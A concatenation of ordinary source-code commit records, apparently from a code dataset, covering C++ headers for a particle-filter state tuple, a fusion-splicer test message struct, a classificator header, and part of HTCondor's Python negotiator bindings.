state_type<Pos>::type &state () const\n {return this->state(Position<Pos>());}\n };\n\n template <typename S>\n struct const_single_particle_type : public ConstSingleParticleBase<S>\n {\n const_single_particle_type (typename Particle<S>::size_type id,\n const Particle<S> *particle_ptr) :\n ConstSingleParticleBase<S>(id, particle_ptr) {}\n\n static VSMC_CONSTEXPR std::size_t dim () {return S::dim();}\n\n template <std::size_t Pos>\n const typename state_type<Pos>::type &state (Position<Pos>) const\n {\n return this->particle_ptr()->value().\n state(this->id(), Position<Pos>());\n }\n\n template <std::size_t Pos>\n const typename state_type<Pos>::type &state () const\n {return this->state(Position<Pos>());}\n };\n\n size_type size () const {return size_;}\n\n static VSMC_CONSTEXPR std::size_t dim () {return dim_;}\n\n state_pack_type state_pack (size_type id) const\n {\n state_pack_type pack;\n pack_particle(id, pack, Position<0>());\n\n return pack;\n }\n\n void state_unpack (size_type id, const state_pack_type &pack)\n {unpack_particle(id, pack, Position<0>());}\n\n template <typename IntType>\n void copy (size_type N, const IntType *copy_from)\n {\n VSMC_RUNTIME_ASSERT_STATE_COPY_SIZE_MISMATCH(Tuple);\n\n for (size_type to = 0; to != N; ++to)\n copy_particle(copy_from[to], to);\n }\n\n template <std::size_t Pos, typename OutputIter>\n OutputIter read_state (Position<Pos>, OutputIter first) const\n {\n const StateTuple<Order, T, Types...> *sptr =\n static_cast<const StateTuple<Order, T, Types...> *>(this);\n for (size_type i = 0; i != size_; ++i, ++first)\n *first = sptr->state(i, Position<Pos>());\n\n return first;\n }\n\n template <std::size_t Pos, typename OutputIter>\n OutputIter read_state (OutputIter first) const\n {return read_state(Position<Pos>(), first);}\n\n template <typename OutputStream>\n OutputStream &print (OutputStream &os, std::size_t iter = 0,\n char sepchar = ' ', char eolchar = '\\n') const\n {\n for (size_type i = 0; i != size_; ++i) {\n os << iter << sepchar;\n print_particle(os, i, sepchar, eolchar, Position<0>());\n }\n\n return os;\n }\n\n protected :\n\n explicit StateTupleBase (size_type N) : size_(N) {}\n\n void copy_particle (size_type from, size_type to)\n {\n if (from != to)\n copy_particle(from, to, Position<0>());\n }\n\n private :\n\n size_type size_;\n static const std::size_t dim_ = sizeof...(Types) + 1;\n\n template <std::size_t Pos>\n void pack_particle (size_type id, state_pack_type &pack,\n Position<Pos>) const\n {\n const StateTuple<Order, T, Types...> *sptr =\n static_cast<const StateTuple<Order, T, Types...> *>(this);\n pack.template get<Pos>() = sptr->state(id, Position<Pos>());\n pack_particle(id, pack, Position<Pos + 1>());\n }\n\n void pack_particle (size_type id, state_pack_type &pack,\n Position<dim_>) const {}\n\n template <std::size_t Pos>\n void unpack_particle (size_type id, const state_pack_type &pack,\n Position<Pos>)\n {\n StateTuple<Order, T, Types...> *sptr =\n static_cast<StateTuple<Order, T, Types...> *>(this);\n sptr->state(id, Position<Pos>()) = pack.template get<Pos>();\n unpack_particle(id, pack, Position<Pos + 1>());\n }\n\n void unpack_particle (size_type id, const state_pack_type &pack,\n Position<dim_>) {}\n\n template <std::size_t Pos>\n void copy_particle (size_type from, size_type to, Position<Pos>)\n {\n StateTuple<Order, T, Types...> *sptr =\n static_cast<StateTuple<Order, T, Types...> *>(this);\n sptr->state(to, Position<Pos>()) = sptr->state(from, Position<Pos>());\n copy_particle(from, to, Position<Pos + 1>());\n }\n\n void copy_particle (size_type from, size_type to, Position<dim_>) {}\n\n template <typename OutputStream, std::size_t Pos>\n void print_particle (OutputStream &os, size_type id,\n char sepchar, char eolchar, Position<Pos>) const\n {\n const StateTuple<Order, T, Types...> *sptr =\n static_cast<const StateTuple<Order, T, Types...> *>(this);\n os << sptr->state(id, Position<Pos>()) << sepchar;\n print_particle(os, id, sepchar, eolchar, Position<Pos + 1>());\n }\n\n template <typename OutputStream>\n void print_particle (OutputStream &os, size_type id,\n char sepchar, char eolchar, Position<dim_ - 1>) const\n {\n const StateTuple<Order, T, Types...> *sptr =\n static_cast<const StateTuple<Order, T, Types...> *>(this);\n os << sptr->state(id, Position<dim_ - 1>()) << eolchar;\n }\n}; \/\/ class StateTupleBase\n\n\/\/\/ \\brief Particle::value_type subtype\n\/\/\/ \\ingroup SMP\ntemplate <typename T, typename... Types>\nclass StateTuple<RowMajor, T, Types...> :\n public StateTupleBase<RowMajor, T, Types...>\n{\n public :\n\n typedef StateTupleBase<RowMajor, T, Types...>\n state_tuple_base_type;\n typedef typename state_tuple_base_type::size_type size_type;\n\n explicit StateTuple (size_type N) : state_tuple_base_type(N), state_(N) {}\n\n template <std::size_t Pos>\n typename state_tuple_base_type::template state_type<Pos>::type\n &state (size_type id, Position<Pos>)\n {return std::get<Pos>(state_[id]);}\n\n template <std::size_t Pos>\n const typename state_tuple_base_type::template state_type<Pos>::type\n &state (size_type id, Position<Pos>) const\n {return std::get<Pos>(state_[id]);}\n\n template <std::size_t Pos>\n typename state_tuple_base_type::template state_type<Pos>::type\n &state (size_type id)\n {return state(id, Position<Pos>());}\n\n template <std::size_t Pos>\n const typename state_tuple_base_type::template state_type<Pos>::type\n &state (size_type id) const\n {return state(id, Position<Pos>());}\n\n private :\n\n std::vector<std::tuple<T, Types...> > state_;\n}; \/\/ StateTuple\n\n\/\/\/ \\brief Particle::value_type subtype\n\/\/\/ \\ingroup SMP\ntemplate <typename T, typename... Types>\nclass StateTuple<ColMajor, T, Types...> :\n public StateTupleBase<ColMajor, T, Types...>\n{\n public :\n\n typedef StateTupleBase<ColMajor, T, Types...>\n state_tuple_base_type;\n typedef typename state_tuple_base_type::size_type size_type;\n\n explicit StateTuple (size_type N) : state_tuple_base_type(N)\n {init_state(N, Position<0>());}\n\n template <std::size_t Pos>\n typename state_tuple_base_type::template state_type<Pos>::type\n &state (size_type id, Position<Pos>)\n {return std::get<Pos>(state_)[id];}\n\n template <std::size_t Pos>\n const typename state_tuple_base_type::template state_type<Pos>::type\n &state (size_type id, Position<Pos>) const\n {return std::get<Pos>(state_)[id];}\n\n template <std::size_t Pos>\n typename state_tuple_base_type::template state_type<Pos>::type\n &state (size_type id)\n {return state(id, Position<Pos>());}\n\n template <std::size_t Pos>\n const typename state_tuple_base_type::template state_type<Pos>::type\n &state (size_type id) const\n {return state(id, Position<Pos>());}\n\n private :\n\n typename tuple::TupleApplyVector<std::tuple<T, Types...> >::type state_;\n\n template <std::size_t Pos>\n void init_state (size_type N, Position<Pos>)\n {\n std::get<Pos>(state_).resize(N);\n init_state(N, Position<Pos + 1>());\n }\n\n void init_state (size_type N, Position<sizeof...(Types)>)\n {std::get<sizeof...(Types)>(state_).resize(N);}\n}; \/\/ class StateTuple\n\n} \/\/ namespace vsmc\n\n#endif \/\/ VSMC_SMP_STATE_TUPLE_HPP\n<commit_msg>add move for StateTuple::state_pack_type<commit_after>#ifndef VSMC_SMP_STATE_TUPLE_HPP\n#define VSMC_SMP_STATE_TUPLE_HPP\n\n#include <vsmc\/smp\/base.hpp>\n#include <vsmc\/core\/single_particle.hpp>\n#include <vsmc\/utility\/tuple_manip.hpp>\n\nnamespace vsmc {\n\n\/\/\/ \\brief Base type of StateTuple\n\/\/\/ \\ingroup SMP\ntemplate <MatrixOrder Order, typename T, typename... Types>\nclass StateTupleBase\n{\n public :\n\n typedef std::size_t size_type;\n typedef std::tuple<T, Types...> state_tuple_type;\n\n template <std::size_t Pos> struct state_type\n {typedef typename std::tuple_element<Pos, state_tuple_type>::type type;};\n\n class state_pack_type\n {\n public :\n\n state_pack_type () {}\n\n state_pack_type (const state_pack_type &other) : data_(other.data_) {}\n\n state_pack_type &operator= (const state_pack_type &other)\n {\n if (this != &other)\n data_ = other.data_;\n\n return *this;\n }\n\n#if VSMC_HAS_CXX11_RVALUE_REFERENCES\n state_pack_type (state_pack_type &&other) :\n data_(cxx11::move(other.data_)) {}\n\n state_pack_type &operator= (state_pack_type &&other)\n {\n if (this != &other)\n data_ = cxx11::move(other.data_);\n\n return *this;\n }\n#endif\n\n state_pack_type (const state_tuple_type &data) : data_(data) {}\n\n operator state_tuple_type () {return data_;}\n\n template <std::size_t Pos>\n typename state_type<Pos>::type &get ()\n {return std::get<Pos>(data_);}\n\n template <std::size_t Pos>\n const typename state_type<Pos>::type &get () const\n {return std::get<Pos>(data_);}\n\n template <typename Archive>\n void serialize (Archive &ar, const unsigned)\n {serialize(ar, Position<0>());}\n\n template <typename Archive>\n void serialize (Archive &ar, const unsigned) const\n {serialize(ar, Position<0>());}\n\n private :\n\n state_tuple_type data_;\n static const std::size_t dim_ = sizeof...(Types) + 1;\n\n template <typename Archive, std::size_t Pos>\n void serialize (Archive &ar, Position<Pos>)\n {\n ar & std::get<Pos>(data_);\n serialize(ar, Position<Pos + 1>());\n }\n\n template <typename Archive>\n void serialize (Archive &ar, Position<dim_>) {}\n\n template <typename Archive, std::size_t Pos>\n void serialize (Archive &ar, Position<Pos>) const\n {\n ar & std::get<Pos>(data_);\n serialize(ar, Position<Pos + 1>());\n }\n\n template <typename Archive>\n void serialize (Archive &ar, Position<dim_>) const {}\n };\n\n template <typename S>\n struct single_particle_type : public SingleParticleBase<S>\n {\n single_particle_type (typename Particle<S>::size_type id,\n Particle<S> *particle_ptr) :\n SingleParticleBase<S>(id, particle_ptr) {}\n\n static VSMC_CONSTEXPR std::size_t dim () {return S::dim();}\n\n template <std::size_t Pos>\n typename state_type<Pos>::type &state (Position<Pos>) const\n {\n return this->mutable_particle_ptr()->value().\n state(this->id(), Position<Pos>());\n }\n\n template <std::size_t Pos>\n typename state_type<Pos>::type &state () const\n {return this->state(Position<Pos>());}\n };\n\n template <typename S>\n struct const_single_particle_type : public ConstSingleParticleBase<S>\n {\n const_single_particle_type (typename Particle<S>::size_type id,\n const Particle<S> *particle_ptr) :\n ConstSingleParticleBase<S>(id, particle_ptr) {}\n\n static VSMC_CONSTEXPR std::size_t dim () {return S::dim();}\n\n template <std::size_t Pos>\n const typename state_type<Pos>::type &state (Position<Pos>) const\n {\n return this->particle_ptr()->value().\n state(this->id(), Position<Pos>());\n }\n\n template <std::size_t Pos>\n const typename state_type<Pos>::type &state () const\n {return this->state(Position<Pos>());}\n };\n\n size_type size () const {return size_;}\n\n static VSMC_CONSTEXPR std::size_t dim () {return dim_;}\n\n state_pack_type state_pack (size_type id) const\n {\n state_pack_type pack;\n pack_particle(id, pack, Position<0>());\n\n return pack;\n }\n\n void state_unpack (size_type id, const state_pack_type &pack)\n {unpack_particle(id, pack, Position<0>());}\n\n template <typename IntType>\n void copy (size_type N, const IntType *copy_from)\n {\n VSMC_RUNTIME_ASSERT_STATE_COPY_SIZE_MISMATCH(Tuple);\n\n for (size_type to = 0; to != N; ++to)\n copy_particle(copy_from[to], to);\n }\n\n template <std::size_t Pos, typename OutputIter>\n OutputIter read_state (Position<Pos>, OutputIter first) const\n {\n const StateTuple<Order, T, Types...> *sptr =\n static_cast<const StateTuple<Order, T, Types...> *>(this);\n for (size_type i = 0; i != size_; ++i, ++first)\n *first = sptr->state(i, Position<Pos>());\n\n return first;\n }\n\n template <std::size_t Pos, typename OutputIter>\n OutputIter read_state (OutputIter first) const\n {return read_state(Position<Pos>(), first);}\n\n template <typename OutputStream>\n OutputStream &print (OutputStream &os, std::size_t iter = 0,\n char sepchar = ' ', char eolchar = '\\n') const\n {\n for (size_type i = 0; i != size_; ++i) {\n os << iter << sepchar;\n print_particle(os, i, sepchar, eolchar, Position<0>());\n }\n\n return os;\n }\n\n protected :\n\n explicit StateTupleBase (size_type N) : size_(N) {}\n\n void copy_particle (size_type from, size_type to)\n {\n if (from != to)\n copy_particle(from, to, Position<0>());\n }\n\n private :\n\n size_type size_;\n static const std::size_t dim_ = sizeof...(Types) + 1;\n\n template <std::size_t Pos>\n void pack_particle (size_type id, state_pack_type &pack,\n Position<Pos>) const\n {\n const StateTuple<Order, T, Types...> *sptr =\n static_cast<const StateTuple<Order, T, Types...> *>(this);\n pack.template get<Pos>() = sptr->state(id, Position<Pos>());\n pack_particle(id, pack, Position<Pos + 1>());\n }\n\n void pack_particle (size_type id, state_pack_type &pack,\n Position<dim_>) const {}\n\n template <std::size_t Pos>\n void unpack_particle (size_type id, const state_pack_type &pack,\n Position<Pos>)\n {\n StateTuple<Order, T, Types...> *sptr =\n static_cast<StateTuple<Order, T, Types...> *>(this);\n sptr->state(id, Position<Pos>()) = pack.template get<Pos>();\n unpack_particle(id, pack, Position<Pos + 1>());\n }\n\n void unpack_particle (size_type id, const state_pack_type &pack,\n Position<dim_>) {}\n\n template <std::size_t Pos>\n void copy_particle (size_type from, size_type to, Position<Pos>)\n {\n StateTuple<Order, T, Types...> *sptr =\n static_cast<StateTuple<Order, T, Types...> *>(this);\n sptr->state(to, Position<Pos>()) = sptr->state(from, Position<Pos>());\n copy_particle(from, to, Position<Pos + 1>());\n }\n\n void copy_particle (size_type from, size_type to, Position<dim_>) {}\n\n template <typename OutputStream, std::size_t Pos>\n void print_particle (OutputStream &os, size_type id,\n char sepchar, char eolchar, Position<Pos>) const\n {\n const StateTuple<Order, T, Types...> *sptr =\n static_cast<const StateTuple<Order, T, Types...> *>(this);\n os << sptr->state(id, Position<Pos>()) << sepchar;\n print_particle(os, id, sepchar, eolchar, Position<Pos + 1>());\n }\n\n template <typename OutputStream>\n void print_particle (OutputStream &os, size_type id,\n char sepchar, char eolchar, Position<dim_ - 1>) const\n {\n const StateTuple<Order, T, Types...> *sptr =\n static_cast<const StateTuple<Order, T, Types...> *>(this);\n os << sptr->state(id, Position<dim_ - 1>()) << eolchar;\n }\n}; \/\/ class StateTupleBase\n\n\/\/\/ \\brief Particle::value_type subtype\n\/\/\/ \\ingroup SMP\ntemplate <typename T, typename... Types>\nclass StateTuple<RowMajor, T, Types...> :\n public StateTupleBase<RowMajor, T, Types...>\n{\n public :\n\n typedef StateTupleBase<RowMajor, T, Types...>\n state_tuple_base_type;\n typedef typename state_tuple_base_type::size_type size_type;\n\n explicit StateTuple (size_type N) : state_tuple_base_type(N), state_(N) {}\n\n template <std::size_t Pos>\n typename state_tuple_base_type::template state_type<Pos>::type\n &state (size_type id, Position<Pos>)\n {return std::get<Pos>(state_[id]);}\n\n template <std::size_t Pos>\n const typename state_tuple_base_type::template state_type<Pos>::type\n &state (size_type id, Position<Pos>) const\n {return std::get<Pos>(state_[id]);}\n\n template <std::size_t Pos>\n typename state_tuple_base_type::template state_type<Pos>::type\n &state (size_type id)\n {return state(id, Position<Pos>());}\n\n template <std::size_t Pos>\n const typename state_tuple_base_type::template state_type<Pos>::type\n &state (size_type id) const\n {return state(id, Position<Pos>());}\n\n private :\n\n std::vector<std::tuple<T, Types...> > state_;\n}; \/\/ StateTuple\n\n\/\/\/ \\brief Particle::value_type subtype\n\/\/\/ \\ingroup SMP\ntemplate <typename T, typename... Types>\nclass StateTuple<ColMajor, T, Types...> :\n public StateTupleBase<ColMajor, T, Types...>\n{\n public :\n\n typedef StateTupleBase<ColMajor, T, Types...>\n state_tuple_base_type;\n typedef typename state_tuple_base_type::size_type size_type;\n\n explicit StateTuple (size_type N) : state_tuple_base_type(N)\n {init_state(N, Position<0>());}\n\n template <std::size_t Pos>\n typename state_tuple_base_type::template state_type<Pos>::type\n &state (size_type id, Position<Pos>)\n {return std::get<Pos>(state_)[id];}\n\n template <std::size_t Pos>\n const typename state_tuple_base_type::template state_type<Pos>::type\n &state (size_type id, Position<Pos>) const\n {return std::get<Pos>(state_)[id];}\n\n template <std::size_t Pos>\n typename state_tuple_base_type::template state_type<Pos>::type\n &state (size_type id)\n {return state(id, Position<Pos>());}\n\n template <std::size_t Pos>\n const typename state_tuple_base_type::template state_type<Pos>::type\n &state (size_type id) const\n {return state(id, Position<Pos>());}\n\n private :\n\n typename tuple::TupleApplyVector<std::tuple<T, Types...> >::type state_;\n\n template <std::size_t Pos>\n void init_state (size_type N, Position<Pos>)\n {\n std::get<Pos>(state_).resize(N);\n init_state(N, Position<Pos + 1>());\n }\n\n void init_state (size_type N, Position<sizeof...(Types)>)\n {std::get<sizeof...(Types)>(state_).resize(N);}\n}; \/\/ class StateTuple\n\n} \/\/ namespace vsmc\n\n#endif \/\/ VSMC_SMP_STATE_TUPLE_HPP\n<|endoftext|>"} {"text":"<commit_before>#pragma once\n\n#include \"zmsg_cmm.hpp\"\n\nnamespace zmsg {\n\ntemplate<>\nstruct zmsg<mid_t::motor_test_start> {\npublic:\n\tUINT32 FSPattern;\n\tUINT32 FibreType;\n\tUINT32 FibreAlignment;\n\tBOOL XImageFocus;\n\tBOOL YImageFocus;\n\tUINT32 FibreShift;\n\tBOOL DischargeStrengthAdjustment;\n\tBOOL TensionSet;\n\tFLOAT CutAngleLimit;\n\tFLOAT LossLimit;\n\tFLOAT FibreAngleLimit;\n\tULONG CleanDischargeTime;\n\tULONG FibreIntervalSetup;\n\tLONG FSPosSetup;\n\tUINT16 FibrePreFSStrength;\n\tULONG FibrePreFSTime;\n\tULONG FibreOverlapSetup;\n\tUINT16 Discharge1Strength;\n\tULONG Discharge1Time;\n\tUINT16 Discharge2Strength;\n\tULONG Discharge2LastTime;\n\tULONG Discharge2StartTime;\n\tULONG Discharge2StopTime;\n\tULONG ExtraManualDischargeTime;\n\n\tBOOL ConeFS;\n\tULONG ConeFSWaitTime;\n\tULONG ConeFSSpeed;\n\tULONG ConeFSStretchLength;\n\tUINT32 LossEstimationMode;\n\tFLOAT LeftFibreMFD;\n\tFLOAT RightFibreMFD;\n\tFLOAT LeastLoss;\n\tFLOAT RateOfSyntropyBending;\n\tFLOAT RateOfReverseBending;\n\tFLOAT RateOfMFDDeviation;\n\n\tBOOL AutoStart;\n\tBOOL Stop1;\n\tBOOL Stop2;\n\t\/*data dispaly*\/\n\tBOOL CutAngle;\n\tBOOL OffsetData;\n\t\/*omitted choice*\/\n\tBOOL Cut;\n\tBOOL Loss;\n\tBOOL FibreCoreAngle;\n\tBOOL Bubble;\n\tBOOL Thick;\n\tBOOL Thin;\n\t\/*dischargesupplement*\/\n\tBOOL AirPressure;\n\tBOOL Temperature;\n\t\/*fiber_image_display*\/\n\tUINT32 ImgGap;\n\tUINT32 ImgStop1;\n\tUINT32 ImgAlign;\n\tUINT32 ImgStop2;\n\tUINT32 ImgDischarge;\n\tUINT32 ImgLossEstimation;\n\t\/*else*\/\n\tBOOL FibreAutoFeed;\n\tBOOL BadCutSurface;\n\tBOOL AutoAlignAfterStop;\n\tULONG ManualDischargeTimes;\n\n\t\/* motor test para *\/\n\tUINT32 MotorTestTimes;\n\tUINT32 ElectricArcTestTimes;\n\tUINT32 CleanArcRate;\npublic:\n\tZMSG_PU(\n\t\tFSPattern,\n\t\tFibreType,\n\t\tFibreAlignment,\n\t\tXImageFocus,\n\t\tYImageFocus,\n\t\tFibreShift,\n\t\tDischargeStrengthAdjustment,\n\t\tTensionSet,\n\t\tCutAngleLimit,\n\t\tLossLimit,\n\t\tFibreAngleLimit,\n\t\tCleanDischargeTime,\n\t\tFibreIntervalSetup,\n\t\tFSPosSetup,\n\t\tFibrePreFSStrength,\n\t\tFibrePreFSTime,\n\t\tFibreOverlapSetup,\n\t\tDischarge1Strength,\n\t\tDischarge1Time,\n\t\tDischarge2Strength,\n\t\tDischarge2LastTime,\n\t\tDischarge2StartTime,\n\t\tDischarge2StopTime,\n\t\tExtraManualDischargeTime,\n\n\t\tConeFS,\n\t\tConeFSWaitTime,\n\t\tConeFSSpeed,\n\t\tConeFSStretchLength,\n\t\tLossEstimationMode,\n\t\tLeftFibreMFD,\n\t\tRightFibreMFD,\n\t\tLeastLoss,\n\t\tRateOfSyntropyBending,\n\t\tRateOfReverseBending,\n\t\tRateOfMFDDeviation,\n\n\t\tAutoStart,\n\t\tStop1,\n\t\tStop2,\n\t\tCutAngle,\n\t\tOffsetData,\n\t\tCut,\n\t\tLoss,\n\t\tFibreCoreAngle,\n\t\tBubble,\n\t\tThick,\n\t\tThin,\n\t\tAirPressure,\n\t\tTemperature,\n\t\tImgGap,\n\t\tImgStop1,\n\t\tImgAlign,\n\t\tImgStop2,\n\t\tImgDischarge,\n\t\tImgLossEstimation,\n\t\tFibreAutoFeed,\n\t\tBadCutSurface,\n\t\tAutoAlignAfterStop,\n\n\t\tManualDischargeTimes,\n\t\tMotorTestTimes,\n\t\tElectricArcTestTimes,\n\t\tCleanArcRate)\n};\n\ntemplate<>\nstruct zmsg<mid_t::motor_test_result> {\n\tmotor_test_err_t code;\n\t\/\/\/ \\note following are error times\n\tUINT32 reset;\n\tUINT32 push;\n\tUINT32 ele_arc;\n\tUINT32 img;\npublic:\n\tZMSG_PU(code, reset, push, ele_arc, img);\n};\n\n} \/* namespace zmsg *\/\n\n<commit_msg>zmsg: motor_test_result : add test times<commit_after>#pragma once\n\n#include \"zmsg_cmm.hpp\"\n\nnamespace zmsg {\n\ntemplate<>\nstruct zmsg<mid_t::motor_test_start> {\npublic:\n\tUINT32 FSPattern;\n\tUINT32 FibreType;\n\tUINT32 FibreAlignment;\n\tBOOL XImageFocus;\n\tBOOL YImageFocus;\n\tUINT32 FibreShift;\n\tBOOL DischargeStrengthAdjustment;\n\tBOOL TensionSet;\n\tFLOAT CutAngleLimit;\n\tFLOAT LossLimit;\n\tFLOAT FibreAngleLimit;\n\tULONG CleanDischargeTime;\n\tULONG FibreIntervalSetup;\n\tLONG FSPosSetup;\n\tUINT16 FibrePreFSStrength;\n\tULONG FibrePreFSTime;\n\tULONG FibreOverlapSetup;\n\tUINT16 Discharge1Strength;\n\tULONG Discharge1Time;\n\tUINT16 Discharge2Strength;\n\tULONG Discharge2LastTime;\n\tULONG Discharge2StartTime;\n\tULONG Discharge2StopTime;\n\tULONG ExtraManualDischargeTime;\n\n\tBOOL ConeFS;\n\tULONG ConeFSWaitTime;\n\tULONG ConeFSSpeed;\n\tULONG ConeFSStretchLength;\n\tUINT32 LossEstimationMode;\n\tFLOAT LeftFibreMFD;\n\tFLOAT RightFibreMFD;\n\tFLOAT LeastLoss;\n\tFLOAT RateOfSyntropyBending;\n\tFLOAT RateOfReverseBending;\n\tFLOAT RateOfMFDDeviation;\n\n\tBOOL AutoStart;\n\tBOOL Stop1;\n\tBOOL Stop2;\n\t\/*data dispaly*\/\n\tBOOL CutAngle;\n\tBOOL OffsetData;\n\t\/*omitted choice*\/\n\tBOOL Cut;\n\tBOOL Loss;\n\tBOOL FibreCoreAngle;\n\tBOOL Bubble;\n\tBOOL Thick;\n\tBOOL Thin;\n\t\/*dischargesupplement*\/\n\tBOOL AirPressure;\n\tBOOL Temperature;\n\t\/*fiber_image_display*\/\n\tUINT32 ImgGap;\n\tUINT32 ImgStop1;\n\tUINT32 ImgAlign;\n\tUINT32 ImgStop2;\n\tUINT32 ImgDischarge;\n\tUINT32 ImgLossEstimation;\n\t\/*else*\/\n\tBOOL FibreAutoFeed;\n\tBOOL BadCutSurface;\n\tBOOL AutoAlignAfterStop;\n\tULONG ManualDischargeTimes;\n\n\t\/* motor test para *\/\n\tUINT32 MotorTestTimes;\n\tUINT32 ElectricArcTestTimes;\n\tUINT32 CleanArcRate;\npublic:\n\tZMSG_PU(\n\t\tFSPattern,\n\t\tFibreType,\n\t\tFibreAlignment,\n\t\tXImageFocus,\n\t\tYImageFocus,\n\t\tFibreShift,\n\t\tDischargeStrengthAdjustment,\n\t\tTensionSet,\n\t\tCutAngleLimit,\n\t\tLossLimit,\n\t\tFibreAngleLimit,\n\t\tCleanDischargeTime,\n\t\tFibreIntervalSetup,\n\t\tFSPosSetup,\n\t\tFibrePreFSStrength,\n\t\tFibrePreFSTime,\n\t\tFibreOverlapSetup,\n\t\tDischarge1Strength,\n\t\tDischarge1Time,\n\t\tDischarge2Strength,\n\t\tDischarge2LastTime,\n\t\tDischarge2StartTime,\n\t\tDischarge2StopTime,\n\t\tExtraManualDischargeTime,\n\n\t\tConeFS,\n\t\tConeFSWaitTime,\n\t\tConeFSSpeed,\n\t\tConeFSStretchLength,\n\t\tLossEstimationMode,\n\t\tLeftFibreMFD,\n\t\tRightFibreMFD,\n\t\tLeastLoss,\n\t\tRateOfSyntropyBending,\n\t\tRateOfReverseBending,\n\t\tRateOfMFDDeviation,\n\n\t\tAutoStart,\n\t\tStop1,\n\t\tStop2,\n\t\tCutAngle,\n\t\tOffsetData,\n\t\tCut,\n\t\tLoss,\n\t\tFibreCoreAngle,\n\t\tBubble,\n\t\tThick,\n\t\tThin,\n\t\tAirPressure,\n\t\tTemperature,\n\t\tImgGap,\n\t\tImgStop1,\n\t\tImgAlign,\n\t\tImgStop2,\n\t\tImgDischarge,\n\t\tImgLossEstimation,\n\t\tFibreAutoFeed,\n\t\tBadCutSurface,\n\t\tAutoAlignAfterStop,\n\n\t\tManualDischargeTimes,\n\n\t\tMotorTestTimes,\n\t\tElectricArcTestTimes,\n\t\tCleanArcRate)\n};\n\ntemplate<>\nstruct zmsg<mid_t::motor_test_result> {\n\tmotor_test_err_t code;\n\n\tUINT32 motor_test_times;\n\tUINT32 ele_arc_test_times;\n\n\t\/\/\/ \\note following are error times\n\tUINT32 reset;\n\tUINT32 push;\n\tUINT32 ele_arc;\n\tUINT32 img;\npublic:\n\tZMSG_PU(code, reset, push, ele_arc, img);\n};\n\n} \/* namespace zmsg *\/\n\n<|endoftext|>"} {"text":"<commit_before>#pragma once\n\n#include \"..\/std\/string.hpp\"\n\n\nnamespace classificator\n{\n void ReadVisibility(string const & fPath);\n\n void Load();\n}\n<commit_msg>Remove obsolete declaration.<commit_after>#pragma once\n\n#include \"..\/std\/string.hpp\"\n\n\nnamespace classificator\n{\n void Load();\n}\n<|endoftext|>"} {"text":"<commit_before>\n\/\/ Note - python_bindings_common.h must be included before condor_common to avoid\n\/\/ re-definition warnings.\n#include \"python_bindings_common.h\"\n\n#include \"condor_adtypes.h\"\n#include \"dc_collector.h\"\n#include \"condor_version.h\"\n\n#include <memory>\n\n#include \"old_boost.h\"\n#include \"classad_wrapper.h\"\n#include \"module_lock.h\"\n#include \"htcondor.h\"\n#include \"daemon_location.h\"\n\nusing namespace boost::python;\n\nstatic boost::python::list\ntoList(const boost::shared_ptr<classad::ClassAd> ad, const std::vector<std::string> &attrs)\n{\n int idx = 1;\n bool hasattr = true;\n boost::python::list result;\n while (hasattr)\n {\n hasattr = false;\n boost::shared_ptr<ClassAdWrapper> nextAd(new ClassAdWrapper());\n for (std::vector<std::string>::const_iterator it = attrs.begin(); it != attrs.end(); it++)\n {\n std::stringstream attr; attr << *it << idx;\n classad::ExprTree *expr = NULL;\n if ((expr = ad->Lookup(attr.str())))\n {\n classad::ExprTree *copy = expr->Copy();\n if (!copy) { THROW_EX(HTCondorInternalError, \"Unable to create copy of ClassAd expression\"); }\n if (!nextAd->Insert(*it, copy)) { THROW_EX(HTCondorInternalError, \"Unable to copy attribute into destination ClassAd\"); }\n hasattr = true;\n }\n }\n if (hasattr)\n {\n result.append(nextAd);\n }\n idx++;\n }\n return result;\n}\n\n\nstruct Negotiator {\n\n void use_local_negotiator()\n {\n Daemon neg( DT_NEGOTIATOR, 0, 0 );\n bool result;\n {\n condor::ModuleLock ml;\n result = neg.locate();\n }\n\n if (result)\n {\n if (neg.addr())\n {\n m_addr = neg.addr();\n }\n else\n {\n THROW_EX(HTCondorLocateError, \"Unable to locate negotiator address.\");\n }\n m_version = neg.version() ? neg.version() : \"\";\n }\n else\n {\n THROW_EX(HTCondorLocateError, \"Unable to locate local daemon\");\n }\n }\n\n Negotiator() {\n use_local_negotiator();\n }\n\n Negotiator(boost::python::object loc)\n : m_addr(), m_version(\"\")\n {\n\t\tint rv = construct_for_location(loc, DT_NEGOTIATOR, m_addr, m_version);\n\t\tif (rv == 0) {\n\t\t\tuse_local_negotiator();\n\t\t} else if (rv < 0) {\n\t\t\tif (rv == -2) { boost::python::throw_error_already_set(); }\n\t\t\tTHROW_EX(HTCondorValueError, \"Unknown type\");\n\t\t}\n\t}\n\n ~Negotiator()\n {\n }\n\n boost::python::object location() const {\n return make_daemon_location(DT_NEGOTIATOR, m_addr, m_version);\n }\n\n void setPriority(const std::string &user, float prio)\n {\n if (prio < 0) THROW_EX(HTCondorValueError, \"User priority must be non-negative\");\n sendUserValue(SET_PRIORITY, user, prio);\n }\n\n void setFactor(const std::string &user, float factor)\n {\n if (factor<1) THROW_EX(HTCondorValueError, \"Priority factors must be >= 1\");\n sendUserValue(SET_PRIORITYFACTOR, user, factor);\n }\n\n void setUsage(const std::string &user, float usage)\n {\n if (usage < 0) THROW_EX(HTCondorValueError, \"Usage must be non-negative.\");\n sendUserValue(SET_ACCUMUSAGE, user, usage);\n }\n\n void setBeginUsage(const std::string &user, time_t time)\n {\n sendUserValue(SET_BEGINTIME, user, time);\n }\n\n void setLastUsage(const std::string &user, time_t time)\n {\n sendUserValue(SET_LASTTIME, user, time);\n }\n\n\tvoid setCeiling(const std::string &user, float ceiling) \n\t{\n if (ceiling < -1) THROW_EX(HTCondorValueError, \"Ceiling must be greater than -1.\");\n sendUserValue(SET_CEILING, user, ceiling);\n\t}\n\n void resetUsage(const std::string &user)\n {\n sendUserCmd(RESET_USAGE, user);\n }\n\n void deleteUser(const std::string &user)\n {\n sendUserCmd(DELETE_USER, user);\n }\n\n void resetAllUsage()\n {\n Daemon negotiator(DT_NEGOTIATOR, m_addr.c_str());\n bool result;\n {\n condor::ModuleLock ml;\n result = negotiator.sendCommand(RESET_ALL_USAGE, Stream::reli_sock, 0);\n }\n if (!result)\n {\n THROW_EX(HTCondorIOError, \"Failed to send RESET_ALL_USAGE command\");\n }\n }\n\n boost::python::list\n getResourceUsage(const std::string &user)\n {\n checkUser(user);\n\n boost::shared_ptr<Sock> sock = getSocket(GET_RESLIST);\n if (!sock->put(user.c_str()) ||\n !sock->end_of_message())\n {\n sock->close();\n THROW_EX(HTCondorIOError, \"Failed to send GET_RESLIST command to negotiator\" );\n }\n sock->decode();\n boost::shared_ptr<ClassAdWrapper> 